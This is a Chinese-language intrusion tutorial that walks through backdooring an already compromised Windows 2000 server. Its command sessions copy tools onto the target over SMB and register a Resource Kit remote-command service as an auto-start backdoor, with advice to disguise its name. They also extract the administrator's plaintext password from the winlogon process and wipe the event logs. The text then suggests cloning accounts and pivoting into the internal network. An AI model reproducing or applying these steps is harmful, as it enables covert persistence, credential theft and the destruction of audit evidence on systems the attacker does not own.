在阅读本文之前,假设你已经成功入侵了某台Windows2000主机并取得了管理员帐号。大多数时候我们入侵某台主机的目的并不是为了直接破坏,可以在该主机上留下后门以便自己以后可以方便的“使用”该机。
目前一般情况下,入侵Windows2000后使用最多的后门是RemoteNc了,但该工具有一很大的缺点,容易被杀毒软件查出,而且如果用Fport或Active Ports等软件也可以看到它监听的端口,这很容易让管理员发现。
对于Windows2000下的后门推荐使用Windows2000 Resoruce Kit中自带的一个小工具Rcmdsvc.exe和Rcmd.exe,这是微软自己出的一个用来在命令行下远程管理主机的小工具。它有以下优点:
1、不会被杀毒软件认为是病毒或后门程序,毕竟这是微软自己出的东西。
2、非常隐蔽,它开的端口是445,和Windows2000系统的Microsoft-DS服务开的端口一样,用Fport或Active Ports都不能列出它正在监听的端口。
下面我们来看一次实际的操作,当然进行以下操作之前假设已经具有以下条件:
1、你已经取得了xxx.xxx.xxx.xxx的管理员权限;
2、该机启用了Tcp/Ip上的Netbios支持;
3、在IP安全策略中对139和445端口未进行屏蔽;
4、安全策略中对匿名连接的额外限制采用的是默认的安全选项。
如果后三条中有某条不能满足,那么会让我们的后续操作有些困难,不过仍然有其它办法可以继续,如果大家感兴趣我会在以后的文章中说明。
c:/>net use z: //xxx.xxx.xxx.xxx "password" /user:"administrator" c:/>copy rcmdsvc.exe z:/winnt/system32 c:/>copy pulist.exe z:/winnt/system32 c:/>copy findpass.exe z:/winnt/system32 c:/>copy kill.exe z:/winnt/system32 c:/>copy clearel.exe z:/winnt/system32 c:/>copy clealog.cmd z:/winnt/system32 c:/>copy fpipe.exe z:/winnt/system32 c:/>copy msvcp60.dll z:/winnt/system32 |
拷贝一些常用的工具到对方服务器上,在这里对这些工具做一个简要说明:
Rcmdsvc.exe Windows2000 Resource Kit中的远程命令行服务器端程序;
Pulist.exe 可以列出系统进程和该进程所属用户的工具;
Findpass.exe 可以在winlogon.exe进程中查找指定用户名的名文口令的工具;
Kill.exe 可以用pdi或进程名杀掉指定进程的工具;
Clearel.exe 清除系统、应用程序、安全日志的工具;
Clealog.cmd 同上;
Fpipe.exe 可以在命令行下做端口重定向的工具;
Msvcp60.dll vc的运行库,这个东西其实不是必须的,但为了防止在某些缺少Msvcp60.dll的机上在运行Clealog清除日志时对方的机上会突然弹出一个对话框说缺少Msvcp60.dll的尴尬情况,最好把它一起复制过去。
c:/>sc //xxx.xxx.xxx.xxx create "Remote Command Service" binpath= c:/winnt/system32/rcmdsvc.exe type= own start= auto |
在这里我们用sc在目标机xxx.xxx.xxx.xxx上创建了一个名为Remote Command Service的服务,启动方式为自动。当然为了隐蔽,你最好把“Remote Command Service”这个服务名改成其它比较类似系统服务的名字,毕竟管理员不可能看着一个突然多出来的Remote Command而坐视不管,而且也显的你太嚣张了。
PS:sc.exe是Windows2000 Resource Kit中一个功能非常强大的对服务进行控制的工具,详细的使用方法可以参考本站的《SC使用完全指南》。
c:/>sc //xxx.xxx.xxx.xxx start "Remote Command Service" SERVICE_NAME: rpc support services TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE,NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 /*在这里我们用sc启动刚才创建的Remote Command Service服务。*/ /*下面连上对方服务器*/ c:/>rcmd Enter Server Name : xxx.xxx.xxx.xxx Connect to //xxx.xxx.xxx.xxx Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. C:/Documents and Settings/Default User.WINNT>pulist Process PID User Idle 0 System 8 smss.exe 168 NT AUTHORITY/SYSTEM csrss.exe 192 NT AUTHORITY/SYSTEM winlogon.exe 212 NT AUTHORITY/SYSTEM services.exe 240 NT AUTHORITY/SYSTEM lsass.exe 252 NT AUTHORITY/SYSTEM svchost.exe 408 NT AUTHORITY/SYSTEM spoolsv.exe 436 NT AUTHORITY/SYSTEM msdtc.exe 464 NT AUTHORITY/SYSTEM svchost.exe 596 NT AUTHORITY/SYSTEM llssrv.exe 624 NT AUTHORITY/SYSTEM regsvc.exe 676 NT AUTHORITY/SYSTEM rpcsvc.exe 692 NT AUTHORITY/SYSTEM mstask.exe 716 NT AUTHORITY/SYSTEM LSESS.EXE 792 NT AUTHORITY/SYSTEM tlntsvr.exe 832 NT AUTHORITY/SYSTEM VrUpSvr.exe 956 NT AUTHORITY/SYSTEM winmgmt.exe 968 NT AUTHORITY/SYSTEM dns.exe 980 NT AUTHORITY/SYSTEM dfssvc.exe 1064 NT AUTHORITY/SYSTEM POP3S.exe 1100 NT AUTHORITY/SYSTEM smtpds.exe 1120 NT AUTHORITY/SYSTEM svchost.exe 1384 NT AUTHORITY/SYSTEM dllhost.exe 1316 NT AUTHORITY/SYSTEM internat.exe 1308 SERVER/Administrator conime.exe 1680 SERVER/Administrator VRMONSVC.EXE 872 NT AUTHORITY/SYSTEM inetinfo.exe 1456 NT AUTHORITY/SYSTEM explorer.exe 1548 SERVER/Administrator cmd.exe 1712 SERVER/Guest pulist.exe 532 SERVER/Guest /*我们可以看到winlogon.exe的进程号是212*/ C:/Documents and Settings/Default User.WINNT>findpass server administrator 212 To Find Password in the Winlogon process Usage: fidp DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 214 (0x000000d6). To find server/administrator password in process 214 ... The encoded password is found at 0x01a00800 and has a length of 3. The logon information is: server/administrator/Tgrh87fd. The hash byte is: 0xb8. /*在winlogon中查找administrator的名文口令*/ C:/Documents and Settings/Default User.WINNT>clealog clealog done /*清除日志记录*/ C:/Documents and Settings/Default User.WINNT> |
到这里我们已经看到Administrator的密码是Tgrh87fd。
至此我们拿到了管理员的密码并安放了一个Rcmdsvc的后门,当然你还可以接着做许多事。比如利用Adam发现的Bug再克隆一个管理员账号。或者用SC把对方的Tlntsvr服务启起来。不过后者比较容易被发现,不推荐。如果你对他的内网的某台机感兴趣而且该机也有漏洞,可以用Fpipe做端口重定向后为下一步的进攻做准备。